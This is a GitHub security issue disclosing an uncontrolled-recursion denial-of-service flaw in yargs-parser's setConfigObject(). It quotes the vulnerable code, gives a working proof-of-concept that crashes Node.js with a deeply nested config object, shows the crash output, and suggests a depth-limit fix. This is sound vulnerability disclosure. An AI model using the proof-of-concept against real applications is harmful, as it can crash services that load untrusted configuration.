Skip to content

Security: Uncontrolled Recursion DoS in setConfigObject() - CWE-674 #524

@uug4na

Description

@uug4na

Summary

yargs-parser v22.0.0 setConfigObject() function (line 643 of build/lib/yargs-parser.js) recursively traverses nested objects passed via the configObjects option without any depth limit. An attacker-controlled deeply nested object (~2,500+ levels) causes a RangeError: Maximum call stack size exceeded, crashing the Node.js process.

Severity: Medium (DoS - process crash)
CWE: CWE-674 (Uncontrolled Recursion)

Root Cause

File: build/lib/yargs-parser.js, line 643-662

function setConfigObject(config, prev) {
    Object.keys(config).forEach(function (key) {
        const value = config[key];
        const fullKey = prev ? prev + '.' + key : key;
        if (typeof value === 'object' && value !== null && !Array.isArray(value) 
            && configuration['dot-notation']) {
            setConfigObject(value, fullKey); // UNBOUNDED RECURSION - no depth limit
        }
        else {
            // ...
            setArg(fullKey, value);
        }
    });
}

PoC

const yargsParser = require('yargs-parser');

function buildDeep(depth) {
  let obj = { leaf: 'value' };
  for (let i = depth - 1; i >= 0; i--) {
    obj = { [`l${i}`]: obj };
  }
  return obj;
}

// This crashes the Node.js process
yargsParser([], { configObjects: [buildDeep(5000)] });
// RangeError: Maximum call stack size exceeded

PoC Output

--- setConfigObject recursion test ---
  Depth 100: OK
  Depth 500: OK
  Depth 1000: OK
  Depth 2000: OK
  Depth 2500: CRASH - RangeError: Maximum call stack size exceeded
  Depth 5000: CRASH - RangeError: Maximum call stack size exceeded

Impact

Any application that passes user-controlled JSON to the configObjects option (e.g., configuration loaded from external sources, user-submitted config files) can be crashed. The configObjects option is used by yargs itself when processing configuration objects, so applications built on yargs that load untrusted config data are affected.

A ~2,500-level nested JSON object is approximately 30-40KB, making this a low-bandwidth DoS attack.

Suggested Fix

Add a depth counter parameter and enforce a maximum recursion depth (e.g., 100 levels):

function setConfigObject(config, prev, depth = 0) {
    if (depth > 100) return; // prevent stack overflow
    Object.keys(config).forEach(function (key) {
        // ... existing code ...
        if (typeof value === 'object' && ...) {
            setConfigObject(value, fullKey, depth + 1);
        }
    });
}

Verified NOT Vulnerable

  • Prototype pollution via __proto__: Properly blocked by sanitizeKey() (line 1035-1038) mapping __proto__ to ___proto___
  • Prototype pollution via constructor.prototype: argv created with Object.create(null) (line 167) - no prototype chain to pollute
  • ReDoS: All regex patterns are properly anchored, tested with 100k+ inputs - sub-millisecond
  • Deep dot-notation via CLI: setKey() uses iterative forEach loop, not recursion - safe

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions